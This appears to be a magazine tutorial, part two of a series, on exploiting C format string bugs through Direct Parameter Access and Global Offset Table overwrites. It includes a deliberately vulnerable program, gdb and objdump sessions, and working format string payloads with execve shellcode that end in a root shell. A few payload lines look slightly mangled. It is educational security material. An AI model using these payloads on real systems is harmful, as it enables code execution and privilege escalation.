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Abstract / Lead 

This article is a follow-up and second part of a look at format strings in the C and C++ programming 

languages. In particular, how these may be abused. The article progresses to discuss crafting attacks 

using python in order to attack through DPA (Direct Parameter Access) such that you can enact a 4-

byte overwrite in the DTORS and GOT (Global Access Table) and continues with exploiting the GOT 

and injecting shell code. We demonstrate how these simple but still often overlooked and even taught 

vulnerabilities can be used to read arbitrary locations from memory, write to memory and execute 

commands and finally to gain a shell. 
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Introduction  

In the first part of this article (presented in Hakin9 in Exploiting Software 2/2011), we discussed 

format string attacks. In this article we are going to extend these beginning with DPA (Direct 

Parameter access) and moving to using the GOT (Global Offset Table) to spawn a root shell. To gain 

a complete understanding of this process, it is recommended that part one from last month’s issue is 

read first. 

In this paper, we have endeavoured to make the process of exploiting format string vulnerabilities as 

simple as possible for the inexperienced exploit developer. A basic knowledge of python has been 

assumed as well as an understanding of the Linux operating system and how to use gdb. This starts off 

with detailing the use of Direct Parameter access and how this process works and then describing the 

Global Offset Tables in detail. 

If we can write into the GOT, we can effectively redirect the execution flow of a program and 

allowing ourselves to gain a root shell. This process will also help when there is some form of stack 

protection that stops us from altering the address pointed to through EIP and sending this to a 

shellcode address.  

In this process, we will inject a reference in place of that which the GOT references for a selected 

function. Here we want to have a function that can execute system commands as substitutes to 

overwriting the subsequent instruction with the memory address that the shellcode we wish to call. 

The modern protections built into nearly all operating systems have started to load the GOT in a read-

only memory area. Where this has occurred, the system avoids the exploitation technique discussed in 

this paper to a large extent. That stated it is possible to find systems where these protections have been 

disabled or older unpatched systems where the complete attacks work natively. At worst, even in a 

read-only system, the GOT can be read. 

Direct Parameter Access 

DPA allows an attacker to access arguments through the use of a $ qualifier. Just like we had to learn 

all of that difficult math before we moved into formulaic integrals in high school, last lesson we 

learned the hard way to call arguments using format strings. DPA makes format string attacks simple. 

It allows us to directly call the location we wish to exploit instead of having to pad attacks using 

%x%x%x… Basically, as we can address the argument directly, we do not have to increment the byte 

count until we find the memory location we wish to exploit.  

FIGURE 1: WHAT HAPPENED TO 100? 
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We showed in the last article how the use of the following syntax, will allow us to access the 8th 

argument from the stack (%8\$x%8\$n) using the $ qualifier. Again, the backslash has been used 

before the $ symbol to escape this special character. The string "%8\$n " is used in order to write the 

8th argument through the $ qualifier. 

The command we use for our initial write is: 

./Format_Exploit `python -c 'print 

"\x44\x97\x04\x08\x45\x97\x04\x08\x46\x97\x04\x08\x47\x97\x04\x08"'`%

8\$x%8\$n 

We see again in Figure 1 that we have changed the answer stored in the application from 100 to 

23.We will now continue this process by setting the width parameter and the requirements for 

padding. This will allow us to select just what we write and the value we inject into our format string 

vulnerability. 

Now, let us select a value "0xDEADBEEF" as I happen to be anything but a vegetarian and write that 

value into the address we want to overwrite. First, we again start by calculating the required width 

parameter with python. The previous examples had been constructed using padding. Consequently, 

we have to calculate the variable in a different manner. 

We shall endeavour to write 0xEF into the address 0x08049744 as an initial write attempt. We have 

four addresses and hence 4 x 4 = 16 byte locations where we have started our format string. So, we 

can use python to calculate our width parameter as follows: 

python -c 'print 0xef -16' 

223 

So, using our first width specifier (the value 223), we can inject the value 0xDE into memory using 

the following code (Figure 2): 

./Format_Exploit `python -c 'print 

"\x44\x97\x04\x08\x45\x97\x04\x08\x46\x97\x04\x08\x47\x97\x04\x08"'`%

8\$223x%8\$n 

This is using DPA to overwrite an address. 
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FIGURE 2: BEEF ANYBODY? 

In Figure 2 you can see how we have changed the value of the memory location 0x08049744 to 

contain the value 239 (0xEF in hex) as we desired. We can also calculate the other values of 

0xDEADBEEF as follows: 

python -c 'print 0xef -16' 

223 

python -c 'print 0x01be -0xef' 

207 

python -c 'print 0x01ad -0xbe' 

239 

python -c 'print 0xde -0xad' 

49 

In other words, if we are going to write a value such as 0xDEADBEEF inthe format of a memory 

address, it is possible to make multiple calls to %n. Each of these will be done at each of 4 

consecutive bytes. The best way to do this is to overlap small values byte by byte. This is far simpler 

than attempting to inject the entire byte-string at once. We can visualise this as follows: 

  EF 00 00 00          |  0x08049744 

       BE 00 00 00       |  0x08049745 

          AD 00 00 00    |  0x08049746 

              DE 00 00 00 |  0x08049747 

          ----------------------| 

           EF BE AD DE          |  Result starting at 0x08049744. 

Remember, we are working on a little-endian system and we have to reverse this in order to have it in 

the correct byte order (0xDEADBEEF). Now, to add this to our python code, it is necessary to specify 

each address that is going to be overwritten. As we have 4 x 4 byte sections, we are required to insert  

a "%n" into the code four times such that we can write data to each corresponding memory position.  
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FIGURE 3: MORE BEEF ANYBODY? 

We can see this in the code below:  

./Format_Exploit `python -c 'print 

"\x44\x97\x04\x08\x45\x97\x04\x08\x46\x97\x04\x08\x47\x97\x04\x08"'`%

8\$223x%8\$n%8\$207x%9\$n%8\$239x%10\$n%8\$49x%11\$n 

As you can see, Direct Parameter Access has allowed us to simplify the exploit and to remove the 

need to add so much padding and we have successfully overwritten 0xDEADBEEF to the desired 

memory location 0x08049744. 

Using the Global Offset Table to gain Shell 

We have seen that DPA allows us to write into the memory location of our choosing. One location we 

can write to is the GOT (Global Offset Table). We can use objdump in order to return the address of 

the exit() function of our code from within the GOT: 

objdump -R ./Format_Exploit | grep exit 

We see this displayed in Figure 4 and note that the exit() function is located at the address 

0x08049734. 

 
FIGURE 4: OBJDUMP RETURNS THE EXIT() FUNCTION LOCATION 

Before we go to far and start to overwrite the GOT, we should really take  a moment to understand 

what the GOT is and how it will help us in exploiting the vulnerable code. The ELF linker principally 

utilises two processor-specific tables in dynamic linking. These are the Global Offset Table (GOT) 

and the Procedure Linkage Table (PLT). Each of these will be discussed briefly but are not the focus 

of this paper. 
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What is the GOT? 

The Global Offset Tables (GOTs) are used to store the memory addresses of all accessed global 

variables. A single GOT that is positioned at a fixed offset from the code will be created for each 

compilation unit or object module. The Global Offset Table redirects position independent address 

calculations to an absolute location. These can be found in the .got section of an ELF executable or 

shared object. The reason for this is that Position-independent code cannot, in general, contain 

absolute virtual addresses. 

Global Offset Tables hold absolute addresses in private data. This allows the addresses to be 

accessible when still providing a level of position-independence for the code’s text. The code will 

reference its respective GOT through the use of position-independent addressing. This allows it to 

maintain absolute values such that it can still readdress position-independent references over to 

absolute locations. 

 

 
FIGURE 5: MAPPING SHARED MEMORY, THE GOT 

The GOT is isolated in each process with (ideally) just the owning process having write permissions 

to it’s GOT. On the other hand, the library code is shared. Each process needs to be restricted such 

that it is limited to just read and execute permissions on the code. When this is not true, a serious 

security compromise can occur through code modification. 

What is the Procedure Linkage Table (PLT) 

Where the GOT was used to readdress position-independent memory address calculations across, the 

PLT acts on position-independent function calls to absolute locations. To read more on the Dynamic 

linking process refer to Thomas and Reddy (2010). 
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Overwriting the GOT 

Using GDB, we can again run our vulnerable code and this time look at the results of the attack. To 

do this, we load our vulnerable code into GDB and then issue a run command for the variables we 

wish to load: 

gdb ./Format_Exploit  

run `python -c 'print 

"\x34\x97\x04\x08\x45\x97\x04\x08\x46\x97\x04\x08\x47\x97\x04\x08"'`%

8\$223x%8\$n%8\$207x%9\$n%8\$239x%10\$n%8\$49x%11\$n 

We can see this process first hand in Figure 6. Here we have changed the address to that of the 

function free() in the GOT. We obtained the value 0x08049734 when we searched for exit.  

 
FIGURE 6: MAPPING SHARED MEMORY? 

Our vulnerable program has attempted to run the instruction at 0xDEADBEEF. There are no 

instructions at that point, but this means that we can use the GOT to point to an arbitrary location and 

to run this. Now, all we need to do is inject some shellcode and the  system is ours. 

First, let’s have a look at how this comes about. To do this, we will create a shared library with 

references to an external symbol. The address of the symbol will be unknown at compile time. The 

dynamic linker will fix this for us at runtime. For the exercise, we have a requirement that the code 

remains shared. This will allow other processes use this code. As you can see below, we have used the 

code segment “Format_Exploit.c” that we created for the previous article: 

deadlist@deaddog:~$ cat  ./Format_Exploit.c 

#include <stdio.h> 

#include <stdlib.h> 

#include <string.h> 

/*Format_Exploit.c*/ 
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int main(int argc, char *argv[]) { 

   char buff[64]; 

   static int value = 100; 

 

   if (argc < 2) { 

      printf("Usage: <buff to print>n", argv[0]); 

      exit(0); 

   } 

   strcpy(buff, argv[1]); // Previously defined array "char 

buff[64]" 

 

   printf(buff); 

   printf("\nHere we have typed our format identifier: %s\n", 

buff); 

   printf("Let's do a calculation. \n\n10 * 10 = %d. The 

address of this variable is 0x%08x.", value, &value); 

   printf("\n\n"); 

 

   exit(0); 

} 

We compile this using gcc with the “nostdlib” and “shared flags” and create an object file FE.o. 

deadlist@deaddog:~$ gcc -nostdlib  -shared -o FE.o 

./Format_Exploit.c 

Using objdump (with the disassemble flag set) we can then display the machine language version of 

the file FE.o. 

deadlist@deaddog:~$ objdump --disassemble ./FE.o 

 

./FE.o:     file format elf32-i386 

 

Disassembly of section .text: 

 

00000254 <main>: 

 254:   8d 4c 24 04             lea    0x4(%esp),%ecx 

 258:   83 e4 f0                and    $0xfffffff0,%esp 

 25b:   ff 71 fc                pushl  -0x4(%ecx) 

 25e:   55                      push   %ebp 

 25f:   89 e5                   mov    %esp,%ebp 

 261:   51                      push   %ecx 

 262:   83 ec 64                sub    $0x64,%esp 

 265:   8b 41 04                mov    0x4(%ecx),%eax 

 268:   89 45 a8                mov    %eax,-0x58(%ebp) 

 26b:   65 a1 14 00 00 00       mov    %gs:0x14,%eax 

 271:   89 45 f8                mov    %eax,-0x8(%ebp) 

 274:   31 c0                   xor    %eax,%eax 

 276:   83 39 01                cmpl   $0x1,(%ecx) 

 279:   7f 21                   jg     29c <main+0x48> 

 27b:   8b 45 a8                mov    -0x58(%ebp),%eax 

 27e:   8b 00                   mov    (%eax),%eax 

 280:   89 44 24 04             mov    %eax,0x4(%esp) 

 284:   c7 04 24 08 03 00 00    movl   $0x308,(%esp) 

 28b:   e8 fc ff ff ff          call   28c <main+0x38> 
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 290:   c7 04 24 00 00 00 00    movl   $0x0,(%esp) 

 297:   e8 fc ff ff ff          call   298 <main+0x44> 

 29c:   8b 45 a8                mov    -0x58(%ebp),%eax 

 29f:   83 c0 04                add    $0x4,%eax 

 2a2:   8b 00                   mov    (%eax),%eax 

 2a4:   89 44 24 04             mov    %eax,0x4(%esp) 

 2a8:   8d 45 b8                lea    -0x48(%ebp),%eax 

 2ab:   89 04 24                mov    %eax,(%esp) 

 2ae:   e8 fc ff ff ff          call   2af <main+0x5b> 

 2b3:   8d 45 b8                lea    -0x48(%ebp),%eax 

 2b6:   89 04 24                mov    %eax,(%esp) 

 2b9:   e8 fc ff ff ff          call   2ba <main+0x66> 

 2be:   8d 45 b8                lea    -0x48(%ebp),%eax 

 2c1:   89 44 24 04             mov    %eax,0x4(%esp) 

 2c5:   c7 04 24 20 03 00 00    movl   $0x320,(%esp) 

 2cc:   e8 fc ff ff ff          call   2cd <main+0x79> 

 2d1:   a1 30 14 00 00          mov    0x1430,%eax 

 2d6:   c7 44 24 08 30 14 00    movl   $0x1430,0x8(%esp) 

 2dd:   00 

 2de:   89 44 24 04             mov    %eax,0x4(%esp) 

 2e2:   c7 04 24 50 03 00 00    movl   $0x350,(%esp) 

 2e9:   e8 fc ff ff ff          call   2ea <main+0x96> 

 2ee:   c7 04 24 a0 03 00 00    movl   $0x3a0,(%esp) 

 2f5:   e8 fc ff ff ff          call   2f6 <main+0xa2> 

 2fa:   c7 04 24 00 00 00 00    movl   $0x0,(%esp) 

 301:   e8 fc ff ff ff          call   302 <main+0xae> 

deadlist@deaddog:~$                                                                   

In creating a disassembly for the code, we can see how the .got is structured. We have compiled this 

on an i386 system. i386 uses a register to store the GOT (global offset table) address. This is loaded 

into memory and permanently points to the location of the .got section. Next we will use readelf 

output to see that the .got section begins 0x001424 bytes past the location where our library was 

loaded into memory.  This is displayed in the Figure 7. 

 $ readelf --sections ./FE.o 

Consequently, any the library loads into memory we can calculate the values associated with it. For 

instance, in the case where the library is loaded into memory at address 0x4000000 the .got would be 

at 0x4001424. More, we further know that we have a register lastingly pointed to this address. 
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FIGURE 7: SECTIONS AND THE GOT 

If we work through our disassembly starting from the end and moving towards the start of the code, 

we can see that we store the value 100 into the memory address held in %esp as 0x64 (remember 

100 is 64 in hex). The GOT is simply a long list of records with an entry for each external variable. 

We can display the relocations using the following command: 

 $ readelf –relocs ./FE.o 

The relocation for our functions is displayed in Figure 8. We can see the relocation offset for each of 

the functions called by our code displayed. In this example, the puts() function is at offset 0x000002f6 

and we have an exit at offset 0x00000302. 
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FIGURE 8: RELOCATIONS AGAINST THE GOT 

We have seen that the .got starts at offset 0x00001424 from the preceding output. Before our code 

executes, the dynamic linker will have fixed up the relocation to confirm that the value of the memory 

at offset 0x00001424 is the address of the GOT which is updated consequently with the right entry. 

The code can then directly access the functions symbol and name. 

Using GOT to spawn a Shell 

We have already overwritten an entry in the GOT using the format string attack above. What we need 

to do now is to place our shellcode into the buffer and to find a suitable return address. We see from 

Figure 8 that the printf() function is called several times within our code. We will use this function’s 

GOT entry in our attempt to inject shellcode.   

 $ objdump –R ./ Format_Exploit | grep printf 
 0804972c R_386_JUMP_SLOT   printf 

$ objdump -R ./Format_Exploit | grep strcpy 

08049728 R_386_JUMP_SLOT   strcpy 

We have an address of 0x0804972c returned for printf().This is the address we will attempt to 

overwrite with our shellcode. To find the location of where we set our breakpoint, start GDB (Figure 

9) and search for strcpy().We need to start with dissasembling the main() function and setting a 

breakpoint on the address following the call to strcpy(): 

 $ gdb ./Format_Exploit  

 disas main 

 break *0x08048473 

With the breakpoint just past the strcpy() function setup, we can run the executable and view the data 

we have copied on the stack.  
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FIGURE 9: FINDING WHERE TO ADD A BREAKPOINT AND THE SYSTEM() FINCTION 

We will add our format string in conjunction with the data using Python as follows: 

run `python -c 'print 

"A"*16'`%9\$256x%9\$n%9\$231x%10\$n%9\$8x%11\$n%9\$192x%12\$n`python 

-c 'print 

"\x90"*68+"\x31\xc0\x31\xdb\x29\xc9\x89\xca\b0\x46\xcd\x80\x29\xc0\x5

2\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x54\x89\xe1\xb0

\x0b\xcd\x80"'` 

We will detail just how we have this address in a moment. You can see in Figure 10 that the character 

"A" (0x41 in hex) has been written 16 times. We are using the letter "A" as a marker as we can see it 

in the stack. To view this information in the stack, we enter the following command into gdb: 

x/24x $esp 

You can also see in Figure 10 our NOP (no-operation or No OP) Sled of 68 bytes in length. We will 

not cover how to actually write shellcode in this article, but we have included a small sample for this 

exercise. At the end of the sled, address 0xBFFFF710 looks like a good place to start. We will detail 

why below. As before, we will use python to calculate the values we are going to use in our format 

string: 

python -c 'print 0x0110 -16' 

256 

python -c 'print 0xf7 -0x10' 

231 

python -c 'print 0xff -0xf7' 

8 

python -c 'print 0x1bf -0xff' 

192 
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The command in GDB (x/24x $esp) allowed us to view the contents in memory on the stack just after 

when we hit the breakpoint following the strcpy() function. 

 
FIGURE 10: FINDING WHERE TO ADD A BREAKPOINT 

What we have are the "A's" followed by the hex depiction of the format string parameters. The 

shellcode follows the series of 0x90909090's that we have injected as a NOP sled. The address 

0xbffff710 contains a 0x90 instruction followed with the start of the shellcode we are using to spawn 

a shell. We can use the address, 0xbffff710. By writing this address into the GOT we will make the 

execution jump to this location following a call to the printf() function. 

Now, we want to write to the location of the printf() function we found to be at memory location 

0x804972c using the objdump command above.  

run `python -c 'print 

"\x2c\x97\x04\x08\x2d\x97\x04\x08\x2e\x97\x04\x08\x2f\x97\x04\x08"'`%

9\$256x%9\$n%9\$231x%10\$n%9\$8x%11\$n%9\$192%12\$n 

We can check that we have overwritten the entry for printf() in the GOT using the following 

command in GDB: 

x/4x 0x804972c 

We can see in figure 11 that we have injected the address 0xbffff710 into the GOT. It is important to 

ensure that the syntax of the commands we are entering is correct as any error will make the attempt 

to spawn a shell fail. 

 
FIGURE 11: CHECKING WE HAVE OVERWRITTEN THE GOT 

From here we can append our shell code as follows: 
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./Format_Exploit `python -c 'print 

"\x2c\x97\x04\x08\x2d\x97\x04\x08\x2e\x97\x04\x08\x2f\x97\x04\x08"'`%

9\$256x%9\$n%9\$231x%10\$n%9\$8x%11\$n%9\$192%12\$n`python -c 'print 

"\x90"*68+"\x31\xc0\x31\xdb\x29\xc9\x89\xca\b0\x46\xcd\x80\x29\xc0\x5

2\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x54\x89\xe1\xb0

\x0b\xcd\x80"'` 

 
FIGURE 12: R00T AND SHELL  

Well, we have spawned a root shell. Game over. Or in reality, the game has just begun, but that is for 

another paper. 

Conclusion 

We again see that simple common programming errors that come from the failure to include a simple 

format identifier can lead to devastating results. Unfortunately, and as we noted in the first part of this 

article, many current textbooks and C/C++ programming classes still teach these poor programming 

practices and lead to developers who do not even realise1 they are leaving gaping security holes in 

their code. Many developers who realise that the warning issued from current versions of gcc when 

they forget to correctly include the correct number of format identifiers can be ignored simply do just 

that. They ignore the error and compile their code, bugs and all. 

Format sting vulnerabilities are not new but the methods we have to exploit them are. It is a worry 

that a decade later we still suffer these same issues, but then, as always, how we teach new developers 

matters. Until we start to make compiler warnings into hard errors that stop the compilation of code 

and start to really teach the need to ensure format strings are managed, the problems will persist. 

In this, we have seen that using the exploitation of Direct Parameter Access (DPA) will allow us to 

write into the address of our choosing. The overwriting of memory using %n to overwrite specific 

memory locations means that we can find a specific location in memory to overwrite. We can ensure 

success without so many segmentation faults and errors and when we incorporate being able to 

overwrite the values in the Global Offset Table (GOT)2, we have demonstrated how this can be used 

to inject shell code. 
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